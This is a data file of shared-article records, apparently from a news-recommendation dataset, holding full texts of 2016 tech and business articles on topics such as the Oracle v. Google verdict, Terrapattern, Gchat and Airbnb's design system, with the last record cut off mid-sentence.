1464299862,CONTENT SHARED,-3912939678517879962,-1032019229384696495,-3408618679466961471,,,,HTML,http://techcrunch.com/2016/05/26/jury-finds-googles-implementation-of-java-in-android-was-fair-use/,Jury finds Google's implementation of Java in Android was fair use,"Software developers can breathe a massive sigh of relief - a jury found today that Google's implementation of 37 Java APIs in Android qualified as fair use. If the jury had found in favor of Oracle, which owns the Java programming language, it may have scared developers away from using other companies' programming languages in their work - a widespread practice in software development. Judge William Alsup, who also presided over Oracle's copyright case against Google, frequently praised the jury for its thoughtful approach to this case. In a somewhat unusual move, Alsup allowed jurors to take their notes home with them before they heard closing arguments in the case and during their deliberations, so they could study the facts. The ruling could indicate the winding down of a legal battle that has bounced through the courts since 2010 - but Oracle is likely to appeal. This is a developing story and will be updated. Featured Image: corgarashu / Shutterstock",en
1464300698,CONTENT SHARED,8265190708606665292,-1032019229384696495,-3408618679466961471,,,,HTML,http://techcrunch.com/2016/05/26/the-omnichannel-customer-experience-is-poised-to-take-off-in-regulated-industries/,The omnichannel customer experience is poised to take off in regulated industries,"The omnichannel customer experience is nothing new, especially in the consumer and retail industries. Many companies and brands are using data and automation technologies to engage seamlessly with their customers at any time and place and across any device. At the same time, omnichannel doesn't mean digitizing every aspect of the customer journey without regard to which channel is best-suited for customer needs at each stage. The recent news of Google Compare shutting down is a great example of this. The search engine giant's entry into - and quick exit from - financial services proves one thing: Even with all the data and insights in the world, customer value is not based solely on price or convenience. Rather, ""comprehensive answers"" related to insurance, mortgage and other financial products are largely best served by professionals who can provide high-touch interactions with customers across channels, online and off. But that doesn't mean high-touch industries such as financial services, healthcare and government are completely immune from being profoundly affected by the new digital economy. Fundamental shifts in consumer expectations and behaviors, coupled with new technologies, are poised to accelerate their evolution - even in the face of regulatory pressure. The new omnichannel customer A new crop of consumers is emerging. They are more informed, empowered and connected, demanding complete control when making purchase decisions. For instance, it's no longer uncommon for consumers to roam the aisles of stores with a hand-held device in tow to comparison shop, read product reviews and ask their social media connections for advice and recommendations in real time. Consumers are increasingly relying on anytime access and interaction with products and services from retailers that provide continuous online and offline customer experiences. To ride this sea change, retailers such as Target and Macy's began studying different habits of consumers across devices and found that tablets offer easy browsing ; phones are for research (though mobile sales are increasing) ; and purchases ultimately take place on a computer or in the store. Even today, however, online revenues account for only a small fraction of business . But omnichannel is more than sales - it means delighting customers in person, connecting seamlessly between visits via social, mobile and web, and being able to immediately reference both store and web interaction history when customers call for help. Regulated industries face unique hurdles Think about the last time you interacted with your financial advisor, doctor or government representative. You probably had to communicate with them in person, by phone or through an antiquated Web interface that required you to set up (and remember) a password. But chances are you'd much rather engage with them more seamlessly on your terms, because you've grown accustomed to this in your experiences with consumer brands. New technologies are emerging that enable these regulated industries to innovate and still remain in compliance. In all of these examples, there are regulations that dictate how and where a financial advisor, doctor or government representative can communicate with you. Regulations designed to protect consumers from privacy concerns , fraud , malpractice, conflicts of interest or lack of transparency have the unintended consequence of making it difficult to connect in new, more efficient ways. Yet in each of these worlds, customers expect a personalized, concierge-like experience. You need your advisor to know your life situation and to be readily available if something unexpected happens; you need your doctor to know your medical history. Customers increasingly expect an omnichannel experience - both in how they communicate and what their advisor or doctor knows about them to provide the best course of action. We're at a tipping point Fortunately, these ensconced industries have made significant strides to bridging compliance concerns and changing consumer expectations. Thanks to the unique intersection of technology innovations and expectation shifts, we are today at a tipping point where, if done right, these industries could succeed in creating a world-class omnichannel customer experience. In healthcare, records are moving online and patients are demanding care 24/7. The Mayo Clinic has begun to recognize the importance of omnichannel , given that many patients are self-diagnosing their conditions and may need help online before they physically see a doctor. At the recent Health IT Conference for 2016, Oracle debuted its Oracle Healthcare Foundation platform to ""treat each patient with a personal touch."" And with more than 13,000 health and medical apps available on mobile devices and through wearables, mainstream medicine will have to integrate itself further with the online experience. In financial services, robo-advice technology is trying to disrupt the industry, projected to manage 6 percent of all U.S. investments by 2020 . Clients are demanding the type of simple, digital interactions roboadvisors make possible, yet they still crave that personal, unique relationship that only a human advisor can offer. In government, agencies are pursuing and promoting approaches to communication that will lead to increased efficiency and citizen engagement. The General Services Administration has partnered with Yelp to officially recognize ratings of federal agencies. And the good old United States Postal Service is looking to make direct mail digitally enabled. A new crop of consumers is emerging. They are more informed, empowered and connected. New technologies are emerging that enable these regulated industries to innovate and still remain in compliance. For example, in the wake of the Affordable Care Act's electronic health record mandate , countless vendors and consultants have emerged to ensure compliance. Salesforce.com last year doubled down on its vertical cloud solutions, starting with financial services . And government agencies now offer specific certifications - such as FedRAMP for cloud vendors - to balance the need for innovation with compliance. The result? True, individual-level personalization. Retailers may argue they tailor experiences at the individual level, but because of the sheer scale of customers, they have to bucket them into manageable categories. Instead, financial services, healthcare, and government have the opportunity to use insights gleaned across both physical interactions and digital channels and consolidated in a unified manner to truly understand and best serve the unique individual - rather than those with shared characteristics. This will result in more personalized, high-touch communications and advice, as well as unprecedented customization of when, where and how to engage with consumers. That's precisely why the financial services industry is poised to transcend the marble buildings of Wall Street, the healthcare industry has a real opportunity to turn the traditional patient experience on its head and government agencies are set to transform the way they interact with the public. Featured Image: PureSolution / Shutterstock",en
1464305240,CONTENT SHARED,-1637159115260338032,-1443636648652872475,2220614633018618830,,,,HTML,http://techcrunch.com/2016/05/25/terrapattern-is-a-neural-net-powered-reverse-image-search-for-maps/,"Terrapattern is reverse image search for maps, powered by a neural network","Terrapattern is a visual search engine that, from the first moment you use it, you wonder: Why didn't Google come up with this 10 years ago? Click on a feature on the map - a baseball diamond, a marina, a roundabout - and it immediately highlights everything its algorithm thinks looks like it. It's remarkably fast, simple to use and potentially very powerful. Go ahead and give it a try first to see how natural it is to search for something. How does that work? And how did a handful of digital artists and developers create it - and for under $35,000? The secret, as with so many other interesting visual computing projects these days, is a convolutional neural network. It's essentially an AI-like program that extracts every little detail from an image and looks for patterns at various levels of organization - similar to how our own visual system works, though the brain is infinitely more subtle and flexible. In Terrapattern's case, the neural network was trained to look at small squares of the landscape and, comparing those patterns to a huge database of tagged map features from OpenStreetMap, it learned to associate them with certain concepts. Think of how a camera recognizes a face and knows when it is blinking or smiling. It doesn't actually ""know"" what faces, smiles and eyes are, but it associates them with certain patterns of pixels, and can reliably pick them out. Once Terrapattern had been trained to recognize and categorize all manner of geographical features, from boats to water towers, its creators set it free on detailed maps of the greater New York, Pittsburgh, Detroit and San Francisco areas. It scoured the landscape and built a huge database of features and similarities - which can be quickly queried and the results returned immediately (the neural network isn't doing any ""thinking"" when you click on a feature - its work is done for this dataset). Of course, you could just search for ""tennis fields in Oakland"" or the like and get perfectly good results, but this allows one to search for things that may not be listed so formally. What if you were looking for houses in the middle of fields, or cul de sacs, or dead lawns, or circular parking lots? Terrapattern knows where those are just as much as it knows where the airports and ferry terminals are. They're all just assemblages of features to the neural network. Terrapattern was made by Golan Levin, David Newbury and Kyle McDonald, with money from the Knight Foundation's Prototype Fund . With the resources they have, they were able to map the four cities mentioned, but more are coming soon. And with luck, feature detection at higher and lower levels. It's easy to find a ballpark, but hard to find, say, four-way stops (at the small level) or prison complexes (at a larger one). The work is free under a Creative Commons 4.0 license, and you can check out their code over at GitHub .",en
1464311220,CONTENT SHARED,2173307133640600082,-8020832670974472349,2637712853850916574,,,,HTML,http://motherboard.vice.com/read/google-wins-trial-against-oracle-saves-9-billion,"Google Wins Trial Against Oracle, Saves $9 Billion","Google just won in Oracle v. Google , a $9 billion case over Android code. At 1:00 PM PST, a jury of ten people delivered a verdict in favor of Google. The lawsuit was first filed in 2010. There was already a trial in 2012, but after an appeal to the Federal Circuit, the parties underwent second trial over copyrighted code. At the end of their third day of deliberation, the jury found that Google's use of the declaring code and the structure, sequence, and organization of the Java APIs in the Android code was a fair use. After the verdict was read aloud, Judge William Alsup thanked the jury for their service, noting that the jurors-who often came to court even earlier than the set start time of 7:45 AM, and lingered after hours to pore over their notes-had been ""attentive"" and ""worked hard."" ""I salute you for your extreme hard work in this case,"" he told the jury, which on Tuesday, he had called ""the best jury this courthouse has ever seen."" Once the jury was dismissed, Alsup said, ""I know there will be appeals and the like."" Oracle is expected to appeal the decision, meaning that this already six-year-long litigation will drag out even longer. But still, lawyers for Google were wreathed in smiles after their big victory, laughing and hugging each other as Oracle lawyers huddled grimly on the other side of the courtroom. The tech industry has had its eyes on this case, since Google's alleged infringement-a clean room reimplementation of the APIs-is a widespread industry practice . Many commentators-and if the tortured analogies that came up at trial are any indication, the lawyers themselves -feared that the jury would not understand the technical issues at the heart of the case. We don't know if the jury understood APIs, but the verdict is in: Google's use is a fair use.",en
1464314993,CONTENT SHARED,-5622405819042018718,3217014177234377440,-1837353200234401066,,,,HTML,http://www.sony.com/electronics/smart-devices/sse-tn1w,Sony Smart Tennis Sensor for Tennis Rackets,"Check worldwide shot data and improve your game Compare your shot data with Smart Tennis Sensor users from all over the world, and set your target to improve your game through lesson videos. Share your tennis videos Learn how to edit and share your Live Mode Videos with PlayMemories Home on a PC. Get more action out of Live mode Attractive playback modes are available on the Smart Tennis Sensor app About the Motion Shot app Motion Shot is an app that captures movement and automatically renders it into a single still image so that it appears to be a sequence photograph. To enjoy this function, download and install the free app onto your smartphone or tablet. Smart Tennis Sensor - App First check to see if Smart Tennis Sensor supports your tennis racket, and is supported by your smartphone or tablet. Then download the Smart Tennis Sensor app from the App Store or Google Play™. (SSE-TN1S and the Smart Tennis Sensor app are available only in these countries: Austria, France, Germany, Ireland, Italy, Spain, Switzerland, UK, USA, Canada, Japan, Australia, New Zealand.) ACCESSORIES Additional attachments will let you easily change your racket from one to another. Visit the Wilson shop list where you may find Smart Tennis Sensor. Check for the latest information on Smart Tennis Sensor server maintenance. Learn about energy-saving features and our commitment to a more sustainable future. Visit our eco website",en
1464317486,CONTENT SHARED,-6999747484065183134,-1032019229384696495,5293359863088781122,,,,HTML,http://www.theverge.com/2016/5/25/11777422/paypal-killing-windows-phone-blackberry-fire-os-apps,"PayPal is shutting down its Windows Phone, BlackBerry, and Amazon apps","PayPal is thinning the number of mobile operating systems supported by the company's flagship app down to just two: Android and iOS. The PayPal mobile apps for Windows Phone, BlackBerry, and Amazon's Fire OS will be discontinued as of June 30th. It's fairly common to see these decisions for Windows Phone and BlackBerry, but a little less regular to see a company of PayPal's stature just up and abandon Amazon's fork of Android, which runs on Kindle Fire tablets and the failed Fire Phone. PayPal doesn't offer much of an explanation for the decision, but claims it'll lead to better apps for the remaining platforms. ""It was a difficult decision to no longer support the PayPal app on these mobile platforms,"" said Joanna Lambert, PayPal's VP of consumer product, in an announcement on the company's blog . ""But we believe it's the right thing to ensure we are investing our resources in creating the very best experiences for our customers."" PayPal is quick to point out that despite being left without a native app, affected users will still have full access to PayPal's mobile website for account management and money transactions. There are other options, too; BlackBerry users can still send peer-to-peer payments with PayPal through BBM. And on the Windows side, Outlook.com users can enable the PayPal add-in to send payments right from the email app. ""We remain committed to partnering with mobile device providers, and we apologize for any inconvenience this may cause our customers,"" Lambert said. PayPal claims that putting a sharper focus on just the two apps will allow the company to ""innovate and make enhancements to PayPal's mobile experiences to give our customers the best possible ways to manage and move their money.""",en
1464349507,CONTENT SHARED,1662917027785920354,-1443636648652872475,-3067318321592827976,,,,HTML,http://www.slate.com/blogs/future_tense/2016/05/26/gchat_was_the_future_of_messaging_why_did_google_make_other_chat_products.html,"Gchat Was the Future of Messaging, But Google Didn't Know What It Had","Everyone has been talking about Slack lately. The chat app, which is primarily aimed at offices and productivity , is simple, well designed, fun to use, and powerful . Slack is also the company people were obsessed with in 2015. Whether you love the product or not, though, it's time to admit something: Slack is just Gchat. 10 Years ago people didn't necessarily understand that they could use Gchat the way they use Slack now. They envisioned it as a way to talk to people and goof off, not work with colleagues and teammates. But Gmail archived chats, made them searchable, allowed for group chats, and facilitated media transfers. It's Slack, and Google had it (in a less evolved form) in 2005 without realizing it. Of course Google didn't invent instant messaging. To deny the importance of AOL Instant Messenger (AIM) would be to deny the formative experiences of most millennials. (Don't forget about the ICQ, MSN Messenger, and Yahoo! Messenger crowd, too.) But Google made broad interoperability the main goal of Gchat and supported AIM integration , for example, by the end of 2007. As Gmail's popularity grew and Gchat incorporated more and more messaging services, the product became an increasingly beloved choice. The first sign that Google didn't love Gchat the way consumers did was in the name. We can talk about Gchat all day, but Google never officially acknowledged that as the service's title or explained why it wasn't. The company staunchly referred to the application (released in 2005) as Google Talk and the Gmail integration (released in 2006) as Google Chat or just Chat. It took some creative linguistics to deal with the situation. Mashable wrote that the service was ""officially called Google Talk and unofficially known as Gchat."" , ""Google Talk, more colloquially known as Google chat or Gchat."" It was confusing! And for Gchat's loyal user base it felt like loving Gchat-both the name and the community that grew around the service-was somehow illegitimate. In 2011 Google started experimenting with a communication tool called Hangouts in Google+ and by 2013 Google wanted Hangouts to be the new Gchat. It had advanced video calling features , location sharing, and support for GIFs. Basically Hangouts was a natural evolution. But many Gchat users resented the transition and criticized the new product, clinging to the classic Gchat interface. ""So I just 'upgraded' to google hangout and now the chat column on my gmail is jankey,"" one Gchat user wrote on a Google help forum in 2013 as Google ramped up the pressure on users to transition. Two years later, John Brownlee wrote an impassioned defense of classic Gchat on Fast Company . There's a reason that online professionals love Gchat. In a world of instant message clients that feel like a Tokyo Pop fever dream, Gchat was proudly text-based. Putting functionality first, it co-existed with Gmail without ever trying to overpower it. ... When you clicked on a name to message someone, you could send them text, and later initiate a video conference, but that's it. ... It was proudly, even defiantly no frills, but it still had some beautiful, understated touches. Presenting the new version as a rebrand and replacement seemed to confirm the suspicion that Google didn't really love Gchat the way users did. And it was also the moment where the company's vision for chat stopped making sense. In its company history , Google writes that as of May 2013 Hangouts ""will be Google's single communications system, replacing Google Talk, Google+ Hangouts and Messenger."" Yet Google Messenger still exists alongside Hangouts. And there are even still some holdout users on old-style Gchat. But wait, there's more. Last week, Google announced an instant message app and a video chat app, called Allo and Duo respectively, that incorporate personalization through machine learning. The company also announced a collaboration and productivity app called Spaces the week before that mixes multimedia sharing and in-app web browsing with chat. This seems like, well, a lot of communication options. A Google spokesperson told me in a statement that, ""With Allo and Duo, we've focused on starting from the ground up, building mobile-only single-purpose apps. Hangouts on the other hand is a strong multi-platform app, serving the needs of users in productivity and group scenarios."" Google seems to add new brands whenever they build new products, even when there is extensive overlap in functionality. From an internal perspective it makes sense to start with a clean slate and then show off exciting and novel work. ""We didn't want to weigh down the [engineering] team with decisions from previous products,"" Erik Kay, Google's engineering director for communication software, on Sunday. But from the consumer perspective, these name changes can read as redundant and disrespectful to beloved products that could be improved instead of phased out. ( RIP Google Reader .) In a meditation on Digital Trends about Google's glut of communication apps, Andy Boxall wrote that Google was ""vomiting out three new messaging apps. ... Which one should we use? If you're not sure, don't look at Google. Based on its confused approach to messaging, it doesn't have a clue either."" This speaks to the idea that Google had something much more valuable than it realized with Gchat. Back in 2005 and 2006 the company was offering the foundation of what would become the next big trend. Gchat was simple, elegant, and most importantly, focused. That's all gone now. Beyond just Slack, Google was five or six years ahead of WhatsApp, GroupMe, and Facebook Messenger on offering a fun, functional chat app with lots of features. The company could have won the day if it understood what it had. In fact it's still common to hear people calling any Google communication product ""Gchat."" It's an impressively powerful brand, especially given that it never existed.",en
1464351304,CONTENT SHARED,-5515204090203464377,-48161796606086482,-7349077394912525823,,,,HTML,http://marker.to/iL9tJm,A step-by-step guide to agile growth experiments,"After driving growth for the world's largest companies, building automated trading systems like SearchForce and managing over $1 billion media spend while studying high growth companies like AirBnB, Uber and Zenefits, I've consolidated my experience into a single, strategic framework for building and running successful experiments for marketing. Every organization is unique; each with different customers, markets, products, and business models. What is universal, however, is the opportunity for any business to adopt a highly scientific approach to marketing. Therefore, running lean and adopting a data-driven mindset to achieve breakthrough growth is not just a do or die for lean and mean startups - it's for any organization that wants to build its own growth machine. Marketing experiments involve five fundamental steps: 1. GrowthStorm You start by brainstorming all sorts of ways to drive growth. You also generate ideas on how you can test these hypotheses. Put them in a process document called ""GrowthStorm."" This will serve as a central creative repository for your growth efforts. Download the template for experiments pipeline and growth storming here. 2. Prioritize execution Once you have your collection of ideas, it's time to organize them. Create a ""Prioritize Execution"" document that keeps tabs on past, current, and future experiments. This document should also include goals and projections for tests you're running. The doc provides a quick and easy way for team members to understand what tests have been run, when they were run, and their respective outcomes. Note: This document must be available at every level of the company, from the CEO on down to the implementation team. Running experiments in a silo makes it unlikely that insights will drive real action, particularly where skills across departments are required. 3. Apply the scientific method Each test gets its own ""Method"" document stating, in detail: Problem: What is the test attempting to solve for Hypothesis: The specific results you expect to see Resource Estimation: The resources of time and energy you'll need from your team Experiment: The nitty-gritty - implementation, elements, etc. Gather Data: Compiling test data once completed Action Items: Taking action on findings - optimizations and future test planning Download the template for OKR Growth goal and a sample Method document. 4. Standardize learnings and scale Once a test has been created, run, and analyzed, capitalize on your new insights by standardizing key findings back into your product and marketing. The idea is that as you run more tests and gain more data and insights, you then use those data and insights to run smarter tests with more informed predictions. The growth process is cyclical, so the standardization phase isn't the end of the process. Rather, it's an ongoing process of up-leveling by which teams are constantly gaining greater insight into their customers and markets, and translating those insights into better user experience, better products, and more effective marketing. Download the template for sample agile meetings and monthly tracking against goals. Remember to learn from your tests. The last step to this process is one of coming together as a team and taking the time to discuss questions, findings, ideas, and proposed actions related to the tests you've performed. This is a crucial part of the process because it's easy to get so caught up in the implementation and management of current tests that the actual results of completed tests are overlooked. 5. Ask your growth team these key questions What are we learning from the tests we're running? (Just collecting the data isn't enough.) How can we double down on what's working by refining successful tests? (When something works, focus on figuring out why.) How do we implement our findings at scale? (Once you understand the why, how will you bring that learning to other areas of the business?) What are we learning about what NOT to do? Not all tests will be successful and it's crucial to take action on failed experiments. What is the plan of action going forward? (Keep the heat on your team to maintain their testing schedule and continue to generate insights!) Find out about VentureBeat's upcoming agile marketing roadshow. This is a process of focusing on specific tactical actions aimed at improving performance, and then stepping back for a more macro look at what's working and what isn't, and how to take action on key findings. For example, from a 10,000-foot level you are learning to improve your product, UX, functionality, marketing, pricing, etc. This data will teach you how to optimize every one of your channels individually, and also which is most useful to choose from among those channels. You can monitor competitors' data and use that for bench marking your progress. Then you dive back in and actually plan and run new tests, and improve on current tests. You never stop toggling between these two vantage points; constantly communicating, collaborating, learning, and improving. This is your process to achieve hockey stick Growth via Agile. References: Tammy Camp @ 500 Startups & The Scientific Method: How to Design & Track Viral Growth Experiments by Brian Balfour, Hubspot. Samir Patel is president and CEO of Growth Machines and a growth mentor at 500Startups. You can follow him on Twitter: @meetsamir . Get more stories like this on Twitter & Facebook",en
1464353403,CONTENT SHARED,911037455259135591,3609194402293569455,-1121544763018490660,,,,HTML,http://startupi.com.br/2016/05/burger-king-aceita-pedidos-via-mensagens-no-facebook/,Burger King aceita pedidos via mensagens no Facebook - Startupi,"Nos EUA, já dá para pedir um Whopper do Burger King via Facebook Messenger. Logado em sua conta na rede social, basta falar com o perfil da marca, que usa um bot para interagir e anotar o pedido. Ou seja, nada de ""telemarketing"", com pessoas gerindo as mensagens e escrevendo para os consumidores. O software de inteligência artificial para o Messenger foi anunciado em abril pelo Facebook, durante a F8, a conferência anual da empresa em San Francisco. O bot mostra ao cliente as opções do menu e promoções e ainda permite fazer o pagamento online. Detalhe importante: o serviço não é de delivery. O programa mostra algumas opções de restaurantes próximos onde o cliente pode ir pegar seu lanche. Ele também avisa em quantos minutos o pedido estará pronto. Veja o tutorial que mostra como o sistema funciona: Por Guilherme Dearo, da Exame.com É umas das mais influentes fontes online sobre negócios no país, com foco em economia, mercados financeiros, tecnologia, marketing, gestão, meio ambiente, pequenas empresas, carreira, finanças pessoais e parceiro de conteúdo do Startupi.",pt
1464353490,CONTENT SHARED,-8119612270825155371,3609194402293569455,-1121544763018490660,,,,HTML,http://startupi.com.br/2016/05/o-papel-das-startups-dentro-de-um-ecossistema-de-inovacao-em-robotica/,O papel das startups dentro de um ecossistema de inovação em robótica - Startupi,"A indústria robótica está dependendo mais do que nunca da comunidade de startups. Isso porque esse ambiente é uma fonte rica de jovens empresários fazendo enormes avanços em inovação. Estes novatos ainda podem estar na universidade, mas podem também ser veteranos de uma grande corporação, que deixaram seus empregos, ou simplesmente visionários que gostam de ser independentes. Os interessados em robótica sabem do valor das startups e da importância de ajudá-las a colocar suas ideias no mercado. Esses agentes incluem as empresas que integram a Fortune 500, instituições de saúde, bancos e agências governamentais - todos dedicados a desenvolver invenções robóticas. Além disso, as incubadoras e aceleradoras que apoiam novos empreendedores estão crescendo em ritmo acelerado e competições de startups estão se proliferando, assim como novos programas de financiamento de empresas de capital de risco e instituições financeiras. Em Ontário, maior província do Canadá, responsável por 37% do PIB do país, a maior parte das atividades de startups está acontecendo nas regiões de Toronto, Waterloo e Ottawa, e a robótica representa uma das seis áreas-chave que estão liderando a revolução tecnológica, juntamente com inteligência artificial, desenvolvimento de sensores, supercomputação, biociência e impressão 3D. Há muitos fatores que fomentam o sucesso da província - de generosos créditos fiscais para pesquisa e desenvolvimento a alíquotas tributárias corporativas baixas. A colaboração entre as universidades, a indústria, o governo e mesmo entre setores também tem sido fundamental para a construção de uma comunidade dinâmica. Vale ressaltar ainda que faculdades e universidades são agentes essenciais na promoção do ecossistema de inovação em Ontário. Alunos e professores no departamento de engenharia da Universidade de Waterloo, por exemplo, estão trabalhando com a comunidade de saúde para introduzir no mercado ferramentas de assistência robótica para aplicações de fisioterapia. Outros inúmeros projetos entrarão no mercado em áreas como logística e de veículos autônomos. Esse movimento é viabilizado por uma série de parcerias. O Centro de Robótica ABB, localizado na Sheridan College, em Brampton, não é apenas uma plataforma de produção e de ensino. O local também está aberto a empreendedores que queiram testar possíveis tecnologias de robótica avançada a um custo significativamente menor. Além disso, líderes da indústria global também estão no jogo. Samsung, Intel e Hitachi, por exemplo, estão financiando pesquisas de nível universitário sobre o desenvolvimento robótico em escala nano, que é utilizado em áreas como produção de microprocessadores, descoberta de medicamentos e cirurgias. Grandes ideais geram grandes parcerias A MDA Corporation, uma empresa de Brampton, em Ontário, especializada em desenvolvimento de comunicações, vigilância e tecnologia avançada, está sempre em busca de parcerias inovadoras. Por esse motivo, mantém parcerias com universidades para colocar em prática algumas das suas capacidades. A Festo Canada, líder mundial de tecnologias de automação pneumática e elétrica com sede em Mississauga, também em Ontário, atua como uma incubadora, colocando startups para trabalhar com parceiros de engenharia e universidades. A região também abriga uma rede crescente de incubadoras e aceleradoras, como a MaRS Discovery District, em Toronto, e a Communitech, em Waterloo, cujo trabalho é ajudar startups a aproximar as suas ideias da comercialização. Empresas como a Clearpath Robotics, desenvolvedora de veículos robôs não tripulados para pesquisa e aplicações de logística localizada em Waterloo, chegou ao mercado por meio do Centro de Aceleração da Universidade de Waterloo, no Johnston Research + Technology Park. O local é uma parceria entre as universidades, agências governamentais e incubadoras de Ontário. Já a Synaptive Medical encontrou sucesso em inovação robótica para neurocirurgia por meio de suas fortes ligações com o sistema universitário e os jovens talentos da região. * Todd Barrett é cônsul comercial de Ontário, Canadá, no Brasil",pt
1464354988,CONTENT SHARED,-3113913063173722290,3609194402293569455,-1121544763018490660,,,,HTML,http://epocanegocios.globo.com/Carreira/noticia/2016/05/licao-de-um-grande-mestre-de-xadrez-para-resolver-problemas.html,A lição de um grande mestre de xadrez para resolver problemas,"Maurice Ashley (Foto: Reprodução/ Facebook) Maurice Ashley é um grande mestre do xadrez. Ele foi o primeiro americano negro a conseguir esse título e foi incluído neste ano no Hall da Fama do xadrez dos Estados Unidos. Ashley não só é um excelente jogador como faz questão de promover o jogo, especialmente entre crianças e jovens. saiba mais Em um vídeo gravado recentemente para o site Mashable, ele afirmou que o xadrez ""pode mudar vidas"". ""Eu vejo isso nos alunos que eu ensino. Já treinei crianças no Harlem, no Brooklyn, em circunstâncias difíceis... E assisti a essas crianças sentirem os efeitos de jogar xadrez: mais facilidade em resolver problemas, pensamento crítico, mais concentração e foco"". Em um artigo para a Inc. , o empreendedor Justin Bariso explica uma valiosa lição de Ashley e como ela pode ser aplicada na vida. Olhar para trás para ver à frente O xadrez é uma metáfora da vida e dos negócios no sentido de que há um número enorme de caminhos para seguir. Só nas primeira quatro jogadas de xadrez, há 318 bilhões de combinações possíveis. Segundo Ashley, é um mito que um grande mestre pode enxergar até 20 movimentos à frente. Em uma palestra no TED em 2012, Ashley fala de algumas técnicas que podem ajudar a ""ver o futuro"". Sua estratégia preferida é a análise retrógrada, que supõe que para ver à frente vale a pena olhar para trás. No xadrez, depois das primeiras quarto ou cinco jogadas, a posição das peças começa a ficar mais simples e elas começam a desaparecer. Em algum momento, restarão poucas opções. Para avaliar seus movimentos, os jogadores podem pensar nos movimentos anteriores que precisam fazer para chegar a uma situação desejada. Olhar dessa maneira pode não só resolver problemas, mas evitar que eles apareçam. A análise retrógrada é usada em áreas como Direito, ciência e mercado financeiro. Mas como usar isso no seu trabalho? Planeje seu projeto do fim para o começo Muitas pessoas planejam um projeto a partir do primeiro passo. Mas isso pode levar a desperdiçar mais tempo do que o necessário para as ações iniciais. O resultado? Você pode se ver obrigado a acelerar os passos seguintes, geralmente mais importantes. Tente pensar ao contrário, considerando quais serão os últimos passos. Pode te ajudar a colocar tempo, energia e dinheiro na medida certa para cada fase e conseguir um resultado melhor. Simplifique Aprendemos que mais é melhor. Mas, nos negócios, isso nem sempre é verdade. Ter muitas escolhas pode nos paralisar. Reduza as possibilidades. É possível vender milhares de produtos, mas quais interessam seus clientes? Direcione suas ações para que você esteja em vantagem Toda organização e indivíduo têm pontos fortes e fracos. Ao identificá-los, você coloca as circunstâncias a seu favor. Por exemplo, se você é bom para fazer apresentações e costuma contagiar o ambiente, mostre isso para o mundo para que as oportunidades de exercer seus pontos fortes apareçam. Da mesma maneira, evite situações em que suas fraquezas possam ser exploradas. Tornando o impossível possível A análise retrógrada é como qualquer habilidade. Você não fica especialista da noite para o dia. Então, pratique. No fim, você pode acabar vendo o futuro com mais clareza.",pt
1464356041,CONTENT SHARED,8038154459609789205,-108842214936804958,-5072897400043657671,,,,HTML,http://airbnb.design/building-a-visual-language/,Building a Visual Language - Behind the scenes of AirBnB new design system,"This article is part of a series on our new Design Language System. Karri recently answered questions about this topic in a Designer News ""Ask Me Anything"" interview. Click here to read the transcript. Working in software development and design, we are often required to ship one-off solutions. Sometimes we're working within time constraints and sometimes we just haven't yet agreed upon a path forward. These one-off solutions aren't inherently bad, but if they aren't built upon a solid foundation, we eventually find ourselves having to pay back accrued technical and design debts. Visual language is like any other language. Misunderstandings arise if the language is not shared and understood by everyone using it. As a product or team grows, the challenges within these modalities compound. Design has always been largely about systems, and how to create products in a scalable and repeatable way. From Pantone colors to Philips screws, these systems enable us to manage the chaos and create better products. Digital products are perhaps the most fertile ground for implementing these systems and yet it's not often considered a priority. A unified design system is essential to building better and faster; better because a cohesive experience is more easily understood by our users, and faster because it gives us a common language to work with. Why we need design systems Airbnb has experienced a lot of growth over the years. Currently our design department consists of nearly a dozen functions and outcome teams. It became clear that we needed more systematic ways to guide and leverage our collective efforts. While we recognized these challenges within the company, I believe they are symptoms of larger software industry problems. Too few constraints Software design has few physical constraints compared to many other design disciplines. This allows for a variety of solutions to any given challenge, but also opens it to disjointed user experiences. As product owners and designers, we have to create and follow our own constraints. Multiple designers and stakeholders Software is often built by teams- sometimes incredibly large teams- of people. The challenge to create coherent experiences multiplies exponentially as more people are added to the mix. Also over time, no matter how consistent or small a team is, different people will contribute new solutions and styles, causing experiences to diverge. Multitude of platforms We need to ship our product on a multitude of platforms and devices. Keeping features and designs synchronized takes significant effort, often requiring the same work to be repeated across all of these platforms. Software as a continuum Another unique thing about software is that, while it can be considered a product, it doesn't really wear out and get replaced like traditional consumer products. Code and designs created years ago still exist in many places, even after the landscape of a company and its product have shifted significantly. This requires constant maintenance and upgrading. Getting to work To work through these challenges and keep our decision making process fast, we assembled a small group of designers and engineers [2] . We cleared our calendars, reserved an external studio place just outside Airbnb HQ, and dedicated ourselves to designing and building the Design Language System (DLS). The goal we set for the DLS was to create a more beautiful and accessible design language. Our designs should be unified platforms that drive greater efficiency through well-defined and reusable components. In order to focus our efforts, we reduced the initial scope to creating the system first on native platforms (iOS & Android). We started by auditing and printing out many of our designs, both old and new. Laying the flows side by side on a board, we could see where and how the experiences were breaking and where we needed to start making changes. We figured that the best way to begin was by tackling issues head on. Each of us focused on a screen or product area to redesign, And we established a few principles to guide us with these individual designs: Unified: Each piece is part of a greater whole and should contribute positively to the system at scale. There should be no isolated features or outliers. Universal: Airbnb is used around the world by a wide global community. Our products and visual language should be welcoming and accessible. Iconic: We're focused when it comes to both design and functionality. Our work should speak boldly and clearly to this focus. Conversational: Our use of motion breathes life into our products, and allows us to communicate with users in easily understood ways. Laying the foundation Prior to beginning this design sprint, we had already created a basic style guide, that we called the foundation. This foundation loosely defined our typography, colors, icons, spacing and information architecture. The foundation proved essential for guiding our work in a unified direction while allowing room for us to individually explore creative design solutions. This way we felt that we were all working together, towards the same idea. Reviewing our collective work at the end of each day, we began to see patterns emerge. We course-corrected when necessary, and started defining our standardized components. Creating the Components Traditionally, many style guides define components as atomic components, which are then used to build more complex molecules. In theory, this works well to create coherent and flexible systems. In practice, however, what often happens is that these re-usable atoms are used many different ways, allowing all kinds of molecules to be created. Again, this opens the door for all kinds of disjointed experiences and makes the system harder to maintain. Instead of relying on individual atoms, we started considering our components as elements of a living organism. They have a function and personality, are defined by a set of properties, can co-exists with others and can evolve independently. A unified design language should not just be a set of static rules and individual atoms, but an evolving ecosystem. A unified design language shouldn't be just a set of static rules and individual atoms; it should be an evolving ecosystem. For example, our user avatar element might be initially defined by a style guide, but its end use in the platform can take on hundreds of permutations, making it difficult to successfully update the avatar element down the road."" If we want to change either of these things, we can be sure that we don't break other screens. Each component is defined by it's required elements (such as title, text, icon and picture), and may sometimes contain optional elements. These elements are both defined in the Sketch document as well as in code. Instead of allowing divider lines themselves, we require each component to have a divider, which is then visible or hidden based on on the view logic. Compiling the 